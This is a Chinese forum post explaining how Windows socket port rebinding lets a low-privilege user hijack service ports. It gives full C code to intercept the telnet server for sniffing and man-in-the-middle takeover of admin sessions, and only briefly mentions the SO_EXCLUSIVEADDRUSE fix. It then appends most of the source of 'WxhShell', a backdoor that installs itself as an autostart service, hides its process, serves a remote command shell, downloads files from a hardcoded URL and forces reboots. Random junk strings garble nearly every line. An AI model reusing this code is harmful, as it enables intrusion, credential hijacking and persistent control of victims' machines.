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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l<s :%%CX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M\9IlV?'  
ys/`{:w8p  
  saddr.sin_family = AF_INET; gZ1N&/9;  
F{kG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rA[nUJ,  
JThk Wx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !B0v<+;P8  
Y=hP Erw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /j$$0F>s7  
b_q! >&c  
  这意味着什么?意味着可以进行如下的攻击: 0 PR4g}"  
Q3(hK<Qh;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]~$c~*0g  
5sG ]3z+1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]aREQ?ma&z  
*X%?3"WH8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sV]i/B  
@wg&6uQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /DK*y S  
zUe#Wp[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tw?Pp8'  
jM{qRfOrg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \MfR #k0  
|:~("rA+v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *QMF <ze  
Ma% E&.ed  
  #include 22l|!B%o  
  #include 2=i+L z^  
  #include jn0t-":  
  #include    Pw0{.W~r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `' dX/d  
  int main() Iz 1*4@  
  { ?psOj%  
  WORD wVersionRequested; ]!n*V/g  
  DWORD ret; R~U2/6V  
  WSADATA wsaData; ]|H]9mys98  
  BOOL val; y.L|rRe@P  
  SOCKADDR_IN saddr; Wh#os,U$  
  SOCKADDR_IN scaddr; ,| $|kO/  
  int err; U/}AiCdj@  
  SOCKET s; P c/.*kOT  
  SOCKET sc; cP/F| uG5  
  int caddsize; DMy4"2 o  
  HANDLE mt; B7NmET4  
  DWORD tid;   \r:m({G  
  wVersionRequested = MAKEWORD( 2, 2 ); ,{#RrF e  
  err = WSAStartup( wVersionRequested, &wsaData ); ,ivWVsN*]  
  if ( err != 0 ) { t't^E,E .@  
  printf("error!WSAStartup failed!\n"); v'mJ~tz  
  return -1; ZE5-i@1  
  } 2<`gs(oxXe  
  saddr.sin_family = AF_INET; -`<6=[QUO  
   8Cf^$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @h,h=X  
< P?3GT/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EKeBTb  
  saddr.sin_port = htons(23); 3C E 39W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sa\|"IkD2  
  { Enq6K1@%G  
  printf("error!socket failed!\n"); n_e}>1_  
  return -1; ,U} 5  
  } ' lQ  
  val = TRUE; 3j[w -Lfp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #n6FQ$l8m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hlABu)B'1  
  { j TB<E=WC  
  printf("error!setsockopt failed!\n"); r"Hbr Qn  
  return -1; X^?|Sz<^E  
  } gPA>*;?E;@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v@}1WGY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ogkz(wZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '@3a,pl  
i-K"9z| )  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1{;[q3a  
  { =Qjw.6@  
  ret=GetLastError(); ifgr<QlG  
  printf("error!bind failed!\n"); &r 5&6p  
  return -1; /)eNx  
  } hIE%-gZ/  
  listen(s,2); \ N-| iq  
  while(1) qr<-eJf  
  { UH1S_:6  
  caddsize = sizeof(scaddr); &deZ  
  //接受连接请求 0|K/=dh5+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4EaS g#  
  if(sc!=INVALID_SOCKET) .O@q5G  
  { !#_h2a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o|p;6  
  if(mt==NULL) #w%a m`+  
  { =+SVzK,+3  
  printf("Thread Creat Failed!\n"); $)kBz*C[  
  break; } Y7W1$he  
  } =:v><  
  } VDb,$i.Z0  
  CloseHandle(mt); 8VAYIxRv  
  } T9U2j-lA?  
  closesocket(s); E9Qd>o  
  WSACleanup(); 3& fIO  
  return 0; /z.7: <gZ(  
  }   /I`bh  
  DWORD WINAPI ClientThread(LPVOID lpParam) ' Z(MV&  
  { @?^LxqAWA  
  SOCKET ss = (SOCKET)lpParam; 5* o\z&*L  
  SOCKET sc; T?p`Y| gl  
  unsigned char buf[4096]; yccuTQvz  
  SOCKADDR_IN saddr; Wzf1-0t  
  long num; f3%^-Uy*b  
  DWORD val; S,)|~#5x  
  DWORD ret; ` + n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mv9E{m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6Mf3)o2  
  saddr.sin_family = AF_INET; fa*H cz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ndug9j\2  
  saddr.sin_port = htons(23); a2 klOX{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qk+{S[2j  
  { HqnKpZ  
  printf("error!socket failed!\n"); F`ZIc7(.{  
  return -1; #?b^B~ #  
  } '%]@a7w  
  val = 100; Wc`J`&#.#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9qu24zz$P  
  { &xiDG=I#  
  ret = GetLastError(); Jv4D^>yj[  
  return -1; C^\*|=*\  
  } mC[U)` ey  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !7"K>m<  
  { w?$u!X  
  ret = GetLastError(); VM V]TPks>  
  return -1; N|Cy!E=d  
  } *|gs-<[#X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h,WY2Hr  
  { 2dd:5L,  
  printf("error!socket connect failed!\n"); R{OE{8;  
  closesocket(sc); pJ*#aH[ySP  
  closesocket(ss); >$S,>d_k`  
  return -1; uZiY<(X  
  } a+>W  
  while(1) j~L1~@  
  { s eZ<52f2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i\Q"a B"r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b[[6X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >&TnTv?I  
  num = recv(ss,buf,4096,0); (P>eWw\0  
  if(num>0) c%LB|(@j{  
  send(sc,buf,num,0); #G , *j  
  else if(num==0) va/4q+1GfH  
  break; L..X)-D2 n  
  num = recv(sc,buf,4096,0); `2(R}zUHN  
  if(num>0) 6 XOu~+7  
  send(ss,buf,num,0); 9M7(_E;)B  
  else if(num==0) t{S{!SF4  
  break; R;TEtu7  
  } |gRgQGeB  
  closesocket(ss); 3P^gP32  
  closesocket(sc); )x:j5{>(  
  return 0 ; -ynLuq#1A  
  } ]-5jgz"  
(8-lDoW  
0-~6} r$  
========================================================== `7qp\vYL  
r?yJ  
下边附上一个代码,,WXhSHELL !|:q@|- %@  
t|U2 ws#  
========================================================== ~j&:)a'^  
k-ex<el)#  
#include "stdafx.h" >wS:3$Q  
E#2k|TpH4  
#include <stdio.h> `w=H'"Zv  
#include <string.h> dK;\`>8  
#include <windows.h> .kKwdqO+zB  
#include <winsock2.h>  ~!d)J  
#include <winsvc.h> L|1zHDxQ  
#include <urlmon.h> FqUt uN  
hHl-;%#  
#pragma comment (lib, "Ws2_32.lib") #HuA(``[d  
#pragma comment (lib, "urlmon.lib") |o=\9:wV  
!>2\OSp!  
#define MAX_USER   100 // 最大客户端连接数 x^O2Lj,w\  
#define BUF_SOCK   200 // sock buffer +l?ro[#6&.  
#define KEY_BUFF   255 // 输入 buffer HFx"fT  
eW*ae;-  
#define REBOOT     0   // 重启 M7<#=pX&  
#define SHUTDOWN   1   // 关机 @oc%4~zl  
]vkHU6d  
#define DEF_PORT   5000 // 监听端口 /e?ux~f|  
HJ1\FO9\  
#define REG_LEN     16   // 注册表键长度 KJ^GUqVl  
#define SVC_LEN     80   // NT服务名长度 =U7D}n hS-  
S}[:;p?F`  
// 从dll定义API (DMnwqr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %V1T !<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (:Hbtr I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &aAo:pj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -%V-'X5  
U9fF;[g  
// wxhshell配置信息 ;$L!`"jn  
struct WSCFG { 7C?mD75j  
  int ws_port;         // 监听端口 jKV?!~/F  
  char ws_passstr[REG_LEN]; // 口令 RGA*7  
  int ws_autoins;       // 安装标记, 1=yes 0=no sAN:C{  
  char ws_regname[REG_LEN]; // 注册表键名 ecZOX$'5  
  char ws_svcname[REG_LEN]; // 服务名 Ww tQ>'R"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XhD fI &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *n_4Rr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dlzamoS@AR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g7z9i[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JR<-'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .d!*<`S|  
3R:i*8C  
}; |j}F$*SE[  
J$/BH\  
// default Wxhshell configuration h5JwB<8  
struct WSCFG wscfg={DEF_PORT, r4ttEJ-jG  
    "xuhuanlingzhe", zomNjy*  
    1, %e<dV\x?T  
    "Wxhshell", u\geD  
    "Wxhshell", ^`MDP`M;  
            "WxhShell Service", ~d `4W<1a  
    "Wrsky Windows CmdShell Service", ;GT)sI   
    "Please Input Your Password: ", U@5Z9/n{  
  1, UYrzsUjg&  
  "http://www.wrsky.com/wxhshell.exe", yi;t  
  "Wxhshell.exe" 3 DHA^9<q  
    }; PQ"%Z.F"  
OwIy(ukTI  
// 消息定义模块 htrj3$q(4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;/q6^Nk3A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6%INNIyAWa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Q^a.`h  
char *msg_ws_ext="\n\rExit."; *>$)#?t  
char *msg_ws_end="\n\rQuit."; [IBk-opap  
char *msg_ws_boot="\n\rReboot..."; KL"L65g&  
char *msg_ws_poff="\n\rShutdown..."; GiwA$^Hg\  
char *msg_ws_down="\n\rSave to "; _1c_TMh}9  
*`.{K12T  
char *msg_ws_err="\n\rErr!"; 5g>kr< K  
char *msg_ws_ok="\n\rOK!"; >b?)WNk  
^|;4/=bbs  
char ExeFile[MAX_PATH]; '0$[Ujc  
int nUser = 0; }F`2$ Q+CW  
HANDLE handles[MAX_USER]; jF_I4H  
int OsIsNt; ",V5*1w  
iQ"F`C  
SERVICE_STATUS       serviceStatus; ~WXxVm*@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F/>Pv q]  
^tcBxDC"]  
// 函数声明 azc:C  
int Install(void); Hbc&.W;g7[  
int Uninstall(void); +##I4vP  
int DownloadFile(char *sURL, SOCKET wsh); Bic { H  
int Boot(int flag); J\D3fh97-  
void HideProc(void); bu&y w~  
int GetOsVer(void); z35Rjhj9  
int Wxhshell(SOCKET wsl); $-fY8V3[  
void TalkWithClient(void *cs); \U>Kn_7m  
int CmdShell(SOCKET sock); E"&9FxS]^  
int StartFromService(void);  PuCA @qY  
int StartWxhshell(LPSTR lpCmdLine); 8~#Q *  
/-4B)mL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %\&dFwb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t+J6P)=  
Wj=ex3K3u.  
// 数据结构和表定义 + qqN  
SERVICE_TABLE_ENTRY DispatchTable[] = #e>MNc 'z  
{ M?zAkHNS$  
{wscfg.ws_svcname, NTServiceMain}, P$Ru NF  
{NULL, NULL}  Bt3=/<.\  
}; |raQ]b@t&  
JHH&@Cn  
// 自我安装 ]sAD5<;  
int Install(void) bI(98V,t  
{ H5 hUY'O  
  char svExeFile[MAX_PATH]; }_;!E@  
  HKEY key;  yE,o~O  
  strcpy(svExeFile,ExeFile); =W*`HV-w  
@0'|Uygn  
// 如果是win9x系统,修改注册表设为自启动 *7ro [  
if(!OsIsNt) { bR,Iq}p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JhIK$Ti  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C P{h+yCj  
  RegCloseKey(key); 4:g:$s|SE[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }8#Czo jt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w/6@R 4)p  
  RegCloseKey(key); hAyPaS#  
  return 0; {U-EBXV  
    } Mu%,@?zM^/  
  } VW`=9T5%@  
} *G41%uz  
else { *=@pdQkR  
lXKZNCL  
// 如果是NT以上系统,安装为系统服务 k"{U}Y/}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /z:K#  
if (schSCManager!=0) kq0m^`  
{ %WN2 xCSf  
  SC_HANDLE schService = CreateService c%.& F  
  ( nB0 ol-<  
  schSCManager, 'Sh5W%NM  
  wscfg.ws_svcname, ?='9YM  
  wscfg.ws_svcdisp, G3?z.5 ,Q  
  SERVICE_ALL_ACCESS, V1A3l{>L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -#x\E%v.F  
  SERVICE_AUTO_START, .y+U7 "?s*  
  SERVICE_ERROR_NORMAL, =>*N W9c  
  svExeFile, )aSkUytg"  
  NULL, q8>Q,F`BA  
  NULL, |Wk G='02  
  NULL, 3k^jR1  
  NULL, m5{SPa,y  
  NULL HCK4h DKo}  
  ); bp,CvQ'}a  
  if (schService!=0) hhhO+D1(  
  { e r$'c  
  CloseServiceHandle(schService); GK&Dd"v  
  CloseServiceHandle(schSCManager); a"0~_=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 55p=veq \  
  strcat(svExeFile,wscfg.ws_svcname); m@~x*+Iz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  U2$T}/@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I r~X#$Upc  
  RegCloseKey(key); Q,`kfxA`O  
  return 0; 2_X0Og8s[  
    } CI{x/ e^(  
  } GNOC5 E$I  
  CloseServiceHandle(schSCManager); 9#!tzDOtD  
} nT"z(\i.!J  
} 8F1!9W7  
e_TDO   
return 1; }}_l@5  
} y{JkY\g  
F}>`3//u  
// 自我卸载 SZvsJ)  
int Uninstall(void) [_n|n"M  
{ Xk'.t|  
  HKEY key; :f;|^(]"  
8t%1x|!  
if(!OsIsNt) { a0.XJR{T"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mN02T@R-  
  RegDeleteValue(key,wscfg.ws_regname); za7wNe(s  
  RegCloseKey(key); PAkW[;GSDh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  7I|Mq  
  RegDeleteValue(key,wscfg.ws_regname); 6-"&jbvm  
  RegCloseKey(key); :xCobMs_/  
  return 0; ny=iAZM>q  
  } fF%r$`2  
} jQ*Qh  
} ~55>uw<  
else { 'oG'`ED"  
e-mlvi^-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dp_q:P4; B  
if (schSCManager!=0) ZV;yXLx|  
{ g 7X>i:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |:z%7J3wP  
  if (schService!=0) m='OnTeOE  
  { l<0V0R(  
  if(DeleteService(schService)!=0) { > R=YF*t  
  CloseServiceHandle(schService); zdCt#=QV?R  
  CloseServiceHandle(schSCManager); Za w+  
  return 0; JK4  @  
  } qb&*,zN  
  CloseServiceHandle(schService); t At+5H  
  } kWFR(J&R  
  CloseServiceHandle(schSCManager); Lrq&k40y  
} X*KT=q^?n  
} |4vk@0L  
P; Ox|  
return 1; WlUE&=|Oz2  
} #Z :r  
I/g]9 y  
// 从指定url下载文件 6F2}|c  
int DownloadFile(char *sURL, SOCKET wsh) rQJoaP+\q  
{ R<-KXT9  
  HRESULT hr; 6k2~j j1d  
char seps[]= "/"; Y2Bu,/9^  
char *token; I8y\D,  
char *file; \GWC5R7Q0j  
char myURL[MAX_PATH]; +\4=G@P.J  
char myFILE[MAX_PATH]; V6Y!0,w!a  
-IE;5f#e  
strcpy(myURL,sURL); aC*J=_9o #  
  token=strtok(myURL,seps); n" sGI  
  while(token!=NULL) <d4^gAfs*  
  { *d(Dk*(  
    file=token; ScEM#9T|  
  token=strtok(NULL,seps); rgr> ;   
  } Wxjpe4  
]P.S5s'  
GetCurrentDirectory(MAX_PATH,myFILE); *h Ur E  
strcat(myFILE, "\\"); 8QU`SoS9  
strcat(myFILE, file); EOL03N   
  send(wsh,myFILE,strlen(myFILE),0); kDsUKO p  
send(wsh,"...",3,0); i> ;G4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 wc=B(a|  
  if(hr==S_OK) ~F WmT(S  
return 0; y^ohns5{  
else AWw'pgTQX  
return 1; 3jeR;N]x  
5@Sb[za  
} b~r ?#2K  
79\ =)m}$Q  
// 系统电源模块 "='|c-x  
int Boot(int flag) C4y<+G.`  
{ pxgv(:Tw  
  HANDLE hToken; ]BA8[2=m  
  TOKEN_PRIVILEGES tkp; AWw:N6\  
&f[[@EF7  
  if(OsIsNt) { ipsNiFv:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /)~M cP3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bz1\EkLL  
    tkp.PrivilegeCount = 1; bkb}M)C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {+!_; zzZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2l9_$evK~  
if(flag==REBOOT) { kns[b [!H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t;'__">:q  
  return 0; _v-sb(* J  
} jsuQ R  
else { r_)*/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GFvOrRlP\  
  return 0; BP`UB  
} yY}`G-)g~*  
  } T6tJwSS4:  
  else { bcQ$S;U)  
if(flag==REBOOT) { K~uoZ~_gA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *Nv<,Br,F  
  return 0; Xh ?{%?2  
} T+I|2HYqOj  
else { N7|ctO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6uDNqq  
  return 0; s;>jy/o0 s  
} , =#'?>Kq  
} /Z^+K  
Q~jUZ-qN  
return 1; @rE>D  
} 44!bwXz8  
E]bjI$j  
// win9x进程隐藏模块 >scEdeM  
void HideProc(void) ]1X];x&e  
{ V4|pZ]  
oC[$PPqX#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zzM 'uo  
  if ( hKernel != NULL ) /MA4Er r  
  { .2`S07Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s+aeP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;:v:pg8qc  
    FreeLibrary(hKernel); d35,[  
  } |',Gy\Sj  
WO|#`HM2  
return; a4c~ThbI  
} JD.WH|sZ5  
nP] ~8ViS  
// 获取操作系统版本 'En6h"{  
int GetOsVer(void) t'^/}=c-  
{  1D6iJ  
  OSVERSIONINFO winfo; Z O&5C6qa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =YR/|9(  
  GetVersionEx(&winfo); 9\V^q9l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1%H]2@  
  return 1; 8!1vsEqv  
  else =^NR(:SaaU  
  return 0; M5wj79'l"  
} `C,479~J  
#5F\zeo@F?  
// 客户端句柄模块 K"eW.$  
int Wxhshell(SOCKET wsl) kA fkQy(~  
{ (,[Oy6o  
  SOCKET wsh; sk 9*3d5I  
  struct sockaddr_in client; LEG y1L  
  DWORD myID; p"w"/[8  
YeT[KjX  
  while(nUser<MAX_USER) phd,Jg[  
{ 5EM(3eY^q  
  int nSize=sizeof(client); g$~ktr+%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nw8lg*t"  
  if(wsh==INVALID_SOCKET) return 1; =j6f/8   
Dr&2q X!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c5pF?kFaD  
if(handles[nUser]==0) +g%kr~w=  
  closesocket(wsh); Pr9$( 6MX  
else Iell`;  
  nUser++; Y`w+?}(M  
  } _uID3N%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {U>B\D  
qy"#XbBeV  
  return 0; TN4gGky!  
} W-2,QVp%  
,F]Y,"x:  
// 关闭 socket YP/BX52 v  
void CloseIt(SOCKET wsh) 6Gwk*%sb  
{ K08xiMjl  
closesocket(wsh); 5$/ED3mcK  
nUser--; ,,OO2EgZ`  
ExitThread(0); pri=;I(2A  
} b 'jZ4{+W  
/{6PwlP5  
// 客户端请求句柄 ihdN{Mx<2  
void TalkWithClient(void *cs) Y:XE4v/)@L  
{ /0IvvD!7N  
nD6NLV%2x  
  SOCKET wsh=(SOCKET)cs; wknX\,`Q  
  char pwd[SVC_LEN]; 9 "7(Jq  
  char cmd[KEY_BUFF]; l~.ae,|7  
char chr[1]; $C#G8Ck,  
int i,j; vvwNJyU-  
)%I2#Q"Nt-  
  while (nUser < MAX_USER) { [LbUlNq^B@  
 \9N1:  
if(wscfg.ws_passstr) { Z_Qs^e$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FWNWOU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 07`hQn)Gc  
  //ZeroMemory(pwd,KEY_BUFF); &Ba` 3V\M  
      i=0; $hXhq*5|c  
  while(i<SVC_LEN) { PRg^E4  
&'Pwz  
  // 设置超时 2r4owB?  
  fd_set FdRead; J'jwRn  
  struct timeval TimeOut; BIqZg$  
  FD_ZERO(&FdRead); TCWy^8LA  
  FD_SET(wsh,&FdRead); @z[,w`  
  TimeOut.tv_sec=8; 0Z $=2c?xT  
  TimeOut.tv_usec=0; K-vG5t0$\/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cks53/Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p~Di\AQ/  
j51Wod<[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >+ZBQ]~  
  pwd=chr[0]; *:L-/Q)i  
  if(chr[0]==0xd || chr[0]==0xa) { Q]?r&%Y  
  pwd=0; ;6P #V`u  
  break; =:A hg 9  
  } QQ;<L"VW  
  i++; E{'{fo!#)  
    } '#pY/,hVB  
Myaj81  
  // 如果是非法用户,关闭 socket o_R<7o/d|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'RZ=A+%X  
}  3 c #oK  
>zx]% W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <+o*"z\mI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |, #DB  
_kGJqyYV  
while(1) { }ya@*jH  
5G  @  
  ZeroMemory(cmd,KEY_BUFF); sF-{ (  
F<H[-k*t/  
      // 自动支持客户端 telnet标准   Av6=q=D  
  j=0; HmlE Cx  
  while(j<KEY_BUFF) { =A[:]),v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ts|dk%  
  cmd[j]=chr[0]; A8tzIh8  
  if(chr[0]==0xa || chr[0]==0xd) { B6 rz  
  cmd[j]=0; +c'b=n9j  
  break; g2)jd[GM  
  } K=lm9K  
  j++; B6qM0QW  
    } dZ^(e0& :H  
T .#cd1b  
  // 下载文件 v|~&I%S7  
  if(strstr(cmd,"http://")) { LelCjC{`1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H[oCI|k  
  if(DownloadFile(cmd,wsh)) DNTkv_S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pAK7V;sJ  
  else /1D]\k()  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EY+/ foP  
  } <7  
  else { ct o+W}k  
e8E*Urtz  
    switch(cmd[0]) { ;zq3>A  
  itotn!Wb`  
  // 帮助 3jR>   
  case '?': { JdYmUM|K/c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dOG]Yjc  
    break; pX 4:WV  
  } %3SBs*?  
  // 安装 Lvco9 Ak  
  case 'i': { o4Ny9s  
    if(Install()) VT@,RlB0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WxE^S ??|  
    else VKGH+j[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV0!G-h  
    break; &>%R)?SZh  
    } nrFuhW\r  
  // 卸载 J]h$4"  
  case 'r': { {Tr5M o  
    if(Uninstall()) ko7*9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [l`_2{:  
    else #k}x} rn<'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6I8A[   
    break; ,q_'l?Pn  
    } p-CBsm5P  
  // 显示 wxhshell 所在路径 \}:RG^*m  
  case 'p': { O8\>?4)  
    char svExeFile[MAX_PATH]; }8lvi vR4  
    strcpy(svExeFile,"\n\r"); nO;*Peob  
      strcat(svExeFile,ExeFile); O\~/J/u <  
        send(wsh,svExeFile,strlen(svExeFile),0); ^k#.;Q#4  
    break; }^b7x;O|  
    } h eR$j  
  // 重启 |M;tAG$,"y  
  case 'b': { 6x]x>:8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); An.Qi=Cv  
    if(Boot(REBOOT)) 6_rgj{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu |S|]g  
    else { YZ0y_it)  
    closesocket(wsh); \Ei(HmEU  
    ExitThread(0); bY@ S[  
    } ;~^9$Z@%Q  
    break; BI|BfO%F$j  
    } 1K&_t  
  // 关机 N'5AU (  
